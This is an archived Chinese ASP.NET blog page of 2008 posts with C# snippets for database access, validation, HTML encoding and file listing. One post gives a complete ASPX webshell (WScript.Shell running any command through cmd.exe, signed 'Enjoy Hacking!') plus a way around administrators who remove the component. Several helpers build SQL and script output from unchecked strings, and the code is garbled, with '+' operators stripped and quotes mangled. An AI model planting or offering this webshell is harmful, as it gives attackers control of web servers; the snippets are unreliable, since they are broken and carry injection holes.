Archive for the ‘ASP.NET’ Category

C#(.NET)数据访问连接、查询、插入等操作的封装类

星期二, 06月 3rd, 2008

using System;
using System.Data;
using System.Data.SqlClient;
using System.Configuration;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
/// <summary>
/// Public de摘要说明
/// </summary>
public class PublicClass
{ //定义一个公用成员
public SqlConnection conn;
public PublicClass()
{
//
// TODO: 在此处添加构造函数逻辑
//
}
#region 建立数据库连接
public void OpenConn()
{
String strconn = System.Configuration.ConfigurationManager.AppSettings["sqlconn"].ToString();
conn = new SqlConnection(strconn);
if (conn.State.ToString().ToLower() == “open”)
{
//连接为打开时
}
else
{
//连接为关闭时
conn.Open();
}
}
#endregion
#region 关闭并释放连接
public void CloseConn()
{
if (conn.State.ToString().ToLower() == “open”)
{
//连接为打开时
conn.Close();
conn.Dispose();
}
}
#endregion
#region 返回DataReader,用于读取数据
public SqlDataReader DataRead(string sql)
{
OpenConn();
SqlCommand cmd = new SqlCommand(sql, conn);
SqlDataReader dr = cmd.ExecuteReader();
return dr;
}
#endregion
#region 返回一个数据集
public DataSet MySqlDataSet(string Sql, string tableName)
{
OpenConn();
SqlDataAdapter da;
DataSet ds = new DataSet();
da = new SqlDataAdapter(Sql, conn);
da.Fill(ds, tableName);
CloseConn();
return ds;
}
#endregion
//返回一个数据集
public DataView MySqlDataSource(string Sql)
{
OpenConn();
SqlDataAdapter da;
DataSet ds = new DataSet();
da = new SqlDataAdapter(Sql, conn);
da.Fill(ds, “temp”);
CloseConn();
return ds.Tables[0].DefaultView;
}
#region 执行一个SQL操作:添加、删除、更新操作
//执行一个SQL操作:添加、删除、更新操作
public void MySqlExcute(string sql)
{
OpenConn();
SqlCommand cmd;
cmd = new SqlCommand(sql, conn);
cmd.ExecuteNonQuery();
cmd.Dispose();
CloseConn();
}
#endregion
#region 执行一个SQL操作:添加、删除、更新操作,返回受影响de行
//执行一个SQL操作:添加、删除、更新操作,返回受影响de行
public int MySqlExecuteNonQuery(string sql)
{
OpenConn();
SqlCommand cmd;
cmd = new SqlCommand(sql, conn);
int flag = cmd.ExecuteNonQuery();
return flag;
}
#endregion
public object MySqlExecuteScalar(string sql)
{
OpenConn();
SqlCommand cmd;
cmd = new SqlCommand(sql, conn);
object obj = cmd.ExecuteScalar();
cmd.Dispose();
CloseConn();
return obj;
}
/// <summary>
/// 返回DataTable对象
/// </summary>
/// <param name=”sql”>sql语句</param>
/// <returns></returns>
public DataTable MySqlDataTable(string sql)
{
OpenConn();
DataSet ds = new DataSet();
SqlDataAdapter da = new SqlDataAdapter(sql, conn);
da.Fill(ds, “table”);
CloseConn();
return ds.Tables["table"];
}
/// <summary>
/// 返回一个数据集de记录数
/// </summary>
/// <param name=”sql”>传递desql语句必须为一个统计查询</param>
/// <returns></returns>
public int MySqlRecordCount(string sql)
{
//注:Sql 语句必须是一个统计查询
OpenConn();
SqlCommand cmd = new SqlCommand();
cmd.CommandText = sql;
cmd.Connection = conn;
SqlDataReader dr;
dr = cmd.ExecuteReader();
int RecordCount = -1;
while (dr.Read())
{
RecordCount = int.Parse(dr[0].ToString());
}
CloseConn();
return RecordCount;
}
/// <summary>
/// 自定义de功能警告
/// </summary>
/// <param name=”str”>弹出信息框内容</param>
public void SetAlert(string str)
{
HttpContext.Current.Response.Write(”<script language=’JavaScript’ type=’text/JavaScript’>alert(’” str “‘);</script>”);
}
//返回上一页
public void AddErro(string message)
{
HttpContext.Current.Response.Write(”<script>alert(’” message “‘);history.back(-1);</script>”);
}

//关闭窗口
public void SetCloseWindow()
{
HttpContext.Current.Response.Write(”<script language=’JavaScript’ type=’text/JavaScript’>window.close();</script>”);
}
/// <summary>
/// 地址跳转
/// </summary>
/// <param name=”str”>跳转地址</param>
public void SetLocation(string str)
{
HttpContext.Current.Response.Write(”<script language=’JavaScript’ type=’text/JavaScript’>location=’” str “‘;</script>”);
}

public string AjaxSetAlert(string str)
{
return “<script language=’JavaScript’ type=’text/JavaScript’>alert(’” str “‘);</script>”;
}
//过滤非法字符
public string FilterStr(string Str)
{
Str = Str.Trim();
Str = Str.Replace(”*”, “”);
Str = Str.Replace(”=”, “”);
Str = Str.Replace(”/”, “”);
Str = Str.Replace(”$”, “”);
Str = Str.Replace(”#”, “”);
Str = Str.Replace(”@”, “”);
Str = Str.Replace(”&”, “”);
return Str;
}
//Md5加密算法
public string md5(string str)
{
return System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(str, “md5″).ToLower().Substring(0, 12);
}
public string RndNum(int VcodeNum)
{
string Vchar = “0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F,G,H,I,J,K,L,M,N,P,Q,R,S,T,U,W,X”;
string[] VcArray = Vchar.Split(new Char[] { ‘,’ }); //将字符串生成数组
string VNum = “”;
int temp = -1;
Random rand = new Random();
for (int i = 1; i < VcodeNum 1; i )
{
if (temp != -1)
{
rand = new Random(i * temp * unchecked((int)DateTime.Now.Ticks));
}
int t = rand.Next(31); //数组一般从0开始读取,所以这里为31*Rnd
if (temp != -1 && temp == t)
{
return RndNum(VcodeNum);
}
temp = t;
VNum = VcArray[t];
}
return VNum;
}
}

asp.net求3位不同数字的组合数

星期二, 06月 3rd, 2008

简单de:
[复制此相关代码]CODE:
public partial class _Default : System.Web.UI.Page
{
string m1 = “”;
protected void Page_Load(object sender, EventArgs e)
{
string n = “123″;
string m = “”;
zuhe(n);
for (int j = 2; j > -1; j–)
{
m = m n[j];
}
zuhe(m);
}
private void zuhe(string ssel)
{
for (int i = 0; i < ssel.Length; i )
{
m1 = ssel ssel.Substring(i, 1);
Response.Write(m1.Remove(i,1) “<br>”);
}
}
}

CSDNde(xiaoshen1127 ):WINFORM版
[复制此相关代码]CODE:
using System;
using System.Collections.Generic;
namespace ZuHeShu
{
class Program
{
static void Main(string[] args)
{
Program p = new Program();
Console.WriteLine(”******************************组合数***********************************”);
Console.WriteLine(”请任意输入一个整数:”);
string num = Console.ReadLine();
try {
long.Parse(num);
List<string> als = new List<string>();
als = p.GetData(string.Empty, num.Trim(), als);
p.Display(als);
Console.WriteLine(”\nY-Enter:继续”);
if (Console.ReadLine().Trim().ToLower() == “y”)
{
Console.Clear();
Main(args);
}
}
catch {
Console.Clear();
Console.WriteLine(”请输入数字!”);
Main(args);
}
}
private List<string> GetData(String strBase, String strSel, List<string> alRet)
{
if (strSel.Length == 1)
{
string temp=strBase strSel;
if (!alRet.Contains(temp)&&!temp.StartsWith(”0″))
{
alRet.Add(temp);
}
}
else
{
for (int i = 0; i < strSel.Length; i )
{
GetData(strBase strSel.Substring(i, 1), strSel.Remove(i, 1), alRet);
}
}
return alRet;
}
public void Display(List<string> dals)
{
int i = 1;
int a = dals.Count;
if (a == 0)
{
Console.WriteLine(”该数没有其他组合情况”);
}
else
{
Console.WriteLine(”不同de组合数共有” a “个,如下”);
foreach (string number in dals)
{
Console.Write(number “\t”);
if (i % 5 == 0)
{
Console.WriteLine();
}
}
}
}
}
}

asp.net验证一个字符串是否符合指定的正则表达式

星期二, 06月 3rd, 2008

/// <summary>
/// 快速验证一个字符串是否符合指定de正则表达式.
/// </summary>
/// <param name=”_express”>正则表达式de内容.</param>
/// <param name=”_value”>需验证de字符串.</param>
/// <returns>是否合法debool值.</returns>
public static bool QuickValidate(string _express, string _value)
{
if (_value == null) return false;
System.Text.RegularExpressions.Regex myRegex = new System.Text.RegularExpressions.Regex(_express);
if (_value.Length == 0)
{
return false;
}
return myRegex.IsMatch(_value);
}
使用:
/// <summary>
/// 判断是否是数字,包括小数和整数.
/// </summary>
/// <param name=”_value”>需验证de字符串.</param>
/// <returns>是否合法debool值.</returns>
public static bool IsNumber(string _value)
{
return Validator.QuickValidate(”^(0|([1-9] [0-9]*))(.[0-9] )?$”, _value);
}

asp.net简化接收参数值的函数

星期二, 06月 3rd, 2008

/// <summary>
/// 获取querystring
/// </summary>
/// <param name=”s”>参数名</param>
/// <returns>返回值</returns>
public string q(string s)
{
if (Request.QueryString[s] != null)
{
return Request.QueryString[s].ToString();
}
return string.Empty;
}
/// <summary>
/// 获取post得到de参数
/// </summary>
/// <param name=”s”>参数名</param>
/// <returns>返回值</returns>
protected string f(string s)
{
if (Request.Form[s] == null) return string.Empty;
return Request.Form[s];
}

asp.net替换和恢复html特殊字符

星期二, 06月 3rd, 2008

/// <summary>
/// 替换html中de特殊字符
/// </summary>
/// <param name=”theString”>需要进行替换de文本.</param>
/// <returns>替换完de文本.</returns>
public string HtmlEncode(string theString)
{
theString=theString.Replace(”>”, “>”);
theString=theString.Replace(”<”, “<”);
theString=theString.Replace(” “, ” “);
theString=theString.Replace(” “, ” “);
theString=theString.Replace(”\”", “"”);
theString=theString.Replace(”\’”, “'”);
theString=theString.Replace(”\n”, “<br/> “);
return theString;
}
/// <summary>
/// 恢复html中de特殊字符
/// </summary>
/// <param name=”theString”>需要恢复de文本.</param>
/// <returns>恢复好de文本.</returns>
public string HtmlDiscode(string theString)
{
theString=theString.Replace(”>”, “>”);
theString=theString.Replace(”<”, “<”);
theString=theString.Replace(” “,” “);
theString=theString.Replace(” “,” “);
theString=theString.Replace(”"”,”\”");
theString=theString.Replace(”'”,”\’”);
theString=theString.Replace(”<br/> “,”\n”);
return theString;
}

ASP.NET 中文显示之两种解决方法

星期二, 06月 3rd, 2008


方法一:
在翻阅了微软NGWS文档后发现在文档de常见问题部分有提到要添加一个config.web文件到web目录下,试了一下,中文显示果然OK了.
方法如下:
建立一个文件config.web,内容如下,放在WEB目录下
<configuration>
<globalization
requestencoding=”utf-8″
responseencoding=”utf-8″
/>
</configuration>
后来在网上看到论坛中有人发帖子说将utf-8换成gb2312好像也可以,作者没有试过,大家可以一试.
方法二:
后来订阅了微软de新闻组,在微软de新闻组dotnet.framework.aspplus.general中发现有讨论这个问题de文章,方法为添加<%@ CODEPAGE = “936″ %>到每一页de开头,有点类似于jsp中de<%@ page contentType=”text/html;charset=gb2312″%>赶紧测试了一下,

ASP.NET下使用WScript.Shell执行命令

星期二, 06月 3rd, 2008


ASP.NET提供了两种方法让我使用COM组件:1、Server对象deCreatObject方法;2、将COM组件转化为.NET组件.
·Server对象deCreatObject方法
这个方法比较简单,直接使用就是.当然前提是服务器上已经注册了该组件,而WScript.Shell是系统自带de,我不用担心.只是在编写相关代码时注意ASP.NET与ASP语法上de细微差别就可以了.直接给出相关代码如下:
<!–
Titel: WScript.Shell .NET Version 1
Author: lake2
Mail: lake2@mail.csdn.net
Site: http://lake2.0×54.org
Thanks: Internet
Date: 2005-8-20
–>
<%@ Page Language=”VB” validateRequest = “false” aspcompat = “true” %>
<script runat=”server”>
sub runcmd(Src As Object, E As EventArgs)
Dim StrResult As String
Dim CMDShell As Object
CMDShell = Server.CreateObject(”WScript.Shell”)
StrResult = CMDShell.eXec( CMDPath.Text & ” /c ” & CMDBox.Text ).stdout.readall
StrResult = Replace(StrResult , “<”,”<”)
StrResult = Replace(StrResult , “>”,”>”)
ResultLabel.Text = “<pre>” & StrResult & “</pre>”
end sub
</script>
<html>
<head><title>WSH.SHell For ASP.NET By lake2</title></head>
<body>
<form runat=”server”>
“cmd.exe”’s path: <asp:TextBox ID=”CMDPath” Width=”500″ Text=”cmd.exe” runat=”server” />
<br>
Your Command: <asp:TextBox ID=”CMDBox” Width=”200″ runat=”server” />
<asp:Button ID=”Button” Text=”Run” OnClick=”runcmd” runat=”server” />
<br>
<asp:Label ID=”ResultLabel” runat=”server” />
</form>
<div align=”center”>———– <font color=”#0000FF”>Enjoy Hacking!</font> ———–
</div>
<hr width=”50%”>
</body>
</html>
保存为aspx文件,访问之,即可.
·将COM组件转化为.NET组件
微软给我提供了类型库导入器(Type Library Importer),经过它de转换,我就可以使用COM组件了.转换之后,会有一个dll文件,需要放到Web目录debin目录下组件才可以被使用.
虽然这样多了一个dll,但是这个dll不需要注册就可直接使用,非常方便,这也是ASP.NET与ASPde区别之一.哈哈,有deBT管理员没事要删除“有害”de组件,现在他也没办法了吧^_^
WScript.Shell对象是%windir%\system32\WSHom.Ocx,我把它copy出来拿给类型库导入器转换:Tlbimp.exe WSHom.Ocx /out: WSHomx.dll
然后把WSHomx.dll放到WEB目录debin下面.接着写相关代码咯,与前面de相关代码有少许不同.
<!–
Titel: WScript.Shell .NET Version 2
Author: lake2
Mail: lake2@mail.csdn.net
Site: http://lake2.0×54.org
Thanks: Internet
Date: 2005-8-20
–>
<%@ Page Language=”VB” validateRequest=”false”%>
<script runat=”server”>
sub runcmd(Src As Object, E As EventArgs)
Dim StrResult As String
Dim CMDShell As New WSHomx.WshShell
……
(后同相关代码1)
现在访问之,看看效果吧:)

同理,我也可以在ASP.NET下用FSO读写文件,Application执行命令、Jmail发送邮件,等等等等.呵呵,.NET大有前途de啊.
(文中de程序点击这里下载.wscmd.aspx可直接使用;wsxcmd.aspx需使用wshomx.dll)

asp.net get set用法第1/2页

星期二, 06月 3rd, 2008

在早期学习c#de过程中,经常遇到这样de语句:
public string StudentName
{
get{return stuName;}
set{stuName=value;}
}
当时也不是很明白为什么要这样?学深了c#后,又没法对其做一个总结.今天看了《Visual c#.net程序设计教程》这本书,总结得不错,做下笔记:
在许多面向对象程序设计语言中,属性(property)是指对象de特征和状态,具体地说就是指对象de数据成员.程序员可以指定数据成员能否被外界直接访问,如果数据成员被指定为publicde,外界就可以用“对象名.公有数据成员名”访问该成员.c#是完全面向对象de语言,c#倡导一种新途径,对数据成员能够更好地封装和保护,同时又向外界提供更有效de访问形式.c#中用来达到这个目标de就是“属性”,而那些数据成员,在c#中称为“字段”或“域”.
属性de定义和使用
属性由两个部分组成:属性头和存储器.存储器分为get访问器和set访问器.声明属性de一般形式为:
修饰符 类型 属性名
{
get //get存取程序
{…}
set //set存取程序
{…}
}
属性de修饰符可以是任何访问控制符,还可以被定义为静态.get和set是一种特定de方法,get用来从对象中读取数据,而set用来向字段写入数据,将外界de数据写入字段时,c#使用value表示输入de数据,value可以说是一个准关键字,例如:
set{aField=value;}
以下是一个简单de例子,演示了属性de基本形式和用法:
using System;
using System.Collections.Generic;
using System.Text;
namespace 属性de用法
{
public class Student
{
private string stuName = “阿会楠”;
public string studentName
{
get { return stuName; }
set { stuName = value; }
}
}
class Program
{
static void Main(string[] args)
{
Student stu = new Student();
Console.Write(stu.studentName);
Console.ReadKey();
}
}
}
上面相关代码中定义了一个属性studentName,它包含get访问器和set访问器.属性studentName封装了类Student中de字段stuName,字段如果没有加访问控制符,被默认为private,外界不能直接访问它,现在外界可以通过studentName属性自由地存取stuName字段了.
属性deget和set都是可执行de程序语句组合,具有行为de特点;而使用具有get访问器和set访问器de属性时候就像使用字段一样,即可以作为左值接受数据,又可以作为右值输出数据,系统正是按照属性出现在语句中de位置,自动地选择是调用get还是调用set.

asp.net遍历目录文件夹和子目录所有文件

星期二, 06月 3rd, 2008

[复制此相关代码]CODE:
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.Threading;
namespace copefile
{
class Program
{
static void Main(string[] args)
{
string testDir = “e:/xunlei/”;
listFiles(testDir,0);
Console.ReadKey();
}
public static void listFiles(string dir, int level)
{
//阿会楠练习作品,程序多有参考
try
{
//获取文件列表
string[] files = Directory.GetFiles(dir);
String preStr = “”;
for (int i = 0; i < level; i )
{
preStr = ” “;
}
foreach (string f in files)
{
if (f.LastIndexOf(”\\”) == -1)
{
Console.WriteLine(preStr f.Substring(f.LastIndexOf(”/”) 1));
}
else
{
Console.WriteLine(preStr f.Substring(f.LastIndexOf(”\\”) 1));
}
}
//获取目录列表
string[] dirs = Directory.GetDirectories(dir);
foreach (string d in dirs)
{
if (d.LastIndexOf(”\\”) == -1)
{
Console.WriteLine(preStr d.Substring(d.LastIndexOf(”/”) 1));
}
else
{
Console.WriteLine(preStr d.Substring(d.LastIndexOf(”\\”) 1));
}
if (Directory.Exists(d))
{
listFiles(d, level 1);
}
}
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}
}
}

asp.net OleDbCommand 的用法

星期二, 06月 3rd, 2008

OleDbConnection con=new OleDbConnection(”Provider=Microsoft.Jet.OLEDB.4.0; data source=data.mdb”);
con.Open();
OleDbCommand dc=new OleDbCommand(”select name from us where id=2″, con);
textBox1.Text=dc.ExecuteScalar().ToString();
OleDbConnection con=new OleDbConnection(”Provider=Microsoft.Jet.OLEDB.4.0; data source=data.mdb”);
con.Open();
OleDbCommand dc=new OleDbCommand(”insert into us (name) values (11)”, con);
dc.ExecuteNonQuery();
con.Close();

string us=textBox2.Text;
string pa=textBox1.Text;
OleDbConnection con=new OleDbConnection(”Provider=Microsoft.Jet.OLEDB.4.0; data source=data.mdb”);
OleDbCommand oldC=new OleDbCommand(”insert into users (username, userpassword) values (@username, @userpassword)”, con);
oldC.Parameters.Add(”@username”, us);
oldC.Parameters.Add(”@userpassword”, pa);
con.Open();
oldC.ExecuteNonQuery();
con.Close();
MessageBox.Show(”Register successful!”);
this.Dispose();